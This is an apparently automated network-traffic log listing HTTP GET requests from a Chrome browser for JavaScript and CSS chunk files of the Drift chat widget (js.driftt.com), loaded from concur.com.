Source: global traffic	HTTP traffic detected: GET /core/assets/js/20.8c21ea18.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/19.6f85b843.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/26.04e7f30b.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/14.e24a6190.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/52.b1edaf4a.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/37.b6614199.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/11.639238ba.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/22.6b9a301a.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/18.9c1bd1fb.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/50.de3b5864.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/42.f634da7c.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/29.31d09948.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/21.b8c41db9.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/8.33c73c46.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/14.e24a6190.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core/chat?d=1&region=US&driftEnableLog=false&pageLoadStartTime=1727944883023Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=64542-64542If-Range: "16d7ae86e21434a32157d3226ac9bb77"
Source: global traffic	HTTP traffic detected: GET /core/assets/js/20.8c21ea18.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/43.7ac85d58.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/26.04e7f30b.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/11.639238ba.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/18.9c1bd1fb.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/24.f7213a8a.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/16.e4031a09.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/42.f634da7c.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/17.defc9e4a.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core?d=1&embedId=7xzz4mtpike9&eId=7xzz4mtpike9&region=US&forceShow=false&skipCampaigns=false&sessionId=43d789ca-9c7e-4f68-af16-a186a9f4b703&sessionStarted=1727944913.625&campaignRefreshToken=74cb4782-9a61-497f-a6d0-267ea7ac8828&hideController=false&pageLoadStartTime=1727944883023&mode=CHAT&driftEnableLog=false&secureIframe=false&u=https%3A%2F%2Fwww.concur.com%2FAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/14.e24a6190.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core/chat?d=1&region=US&driftEnableLog=false&pageLoadStartTime=1727944883023Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=64542-92673If-Range: "16d7ae86e21434a32157d3226ac9bb77"
Source: global traffic	HTTP traffic detected: GET /core/assets/js/29.31d09948.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/21.b8c41db9.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/50.de3b5864.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/8.33c73c46.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/css/39.eeb001f3.chunk.css HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://js.driftt.com/core/chat?d=1&region=US&driftEnableLog=false&pageLoadStartTime=1727944883023Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/39.f1d268f5.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core/chat?d=1&region=US&driftEnableLog=false&pageLoadStartTime=1727944883023Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/14.e24a6190.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/24.f7213a8a.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/17.defc9e4a.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/16.e4031a09.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/css/3.07aa08a5.chunk.css HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://js.driftt.com/core/chat?d=1&region=US&driftEnableLog=false&pageLoadStartTime=1727944883023Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/css/1.fdc718c4.chunk.css HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://js.driftt.com/core/chat?d=1&region=US&driftEnableLog=false&pageLoadStartTime=1727944883023Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/css/28.812d5a7c.chunk.css HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://js.driftt.com/core/chat?d=1&region=US&driftEnableLog=false&pageLoadStartTime=1727944883023Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/0.0b2ebd4a.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core/chat?d=1&region=US&driftEnableLog=false&pageLoadStartTime=1727944883023Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/39.f1d268f5.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /core/assets/js/3.2a4c7561.chunk.js HTTP/1.1Host: js.driftt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://js.driftt.com/core/chat?d=1&region=US&driftEnableLog=false&pageLoadStartTime=1727944883023Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
